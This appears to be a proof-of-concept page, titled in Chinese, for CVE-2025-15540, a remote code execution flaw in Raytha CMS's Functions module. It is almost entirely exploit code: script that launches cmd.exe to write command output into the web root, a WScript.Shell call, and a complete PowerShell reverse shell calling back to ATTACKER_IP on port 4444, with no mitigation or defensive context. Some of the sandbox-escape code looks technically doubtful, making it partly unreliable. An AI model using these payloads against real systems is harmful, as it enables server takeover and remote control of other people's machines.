CVE-2025-15540 Raytha CMS Functions模块远程代码执行漏洞

// CVE-2025-15540 PoC - Raytha CMS RCE via Functions Module // This PoC demonstrates how to execute arbitrary commands through the Functions module // Example JavaScript code that could be entered in the Functions module: // Method 1: Using .NET Process to execute system commands var Process = Raytha.Engine.Sandbox.GetType().Assembly.GetType('System.Diagnostics.Process'); var StartInfo = Process.GetMethod('Start'); var process = Process.GetConstructors()[0].Invoke(null); process.StartInfo.FileName = 'cmd.exe'; process.StartInfo.Arguments = '/c whoami > C:\\inetpub\\wwwroot\\output.txt'; process.Start(); // Method 2: Direct command execution var shell = new ActiveXObject('WScript.Shell'); shell.Run('calc.exe', 1, true); // Method 3: PowerShell reverse shell var ps = Process.GetConstructors()[0].Invoke(null); ps.StartInfo.FileName = 'powershell.exe'; ps.StartInfo.Arguments = '-c "$client = New-Object System.Net.Sockets.TCPClient(\'ATTACKER_IP\',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'; ps.Start();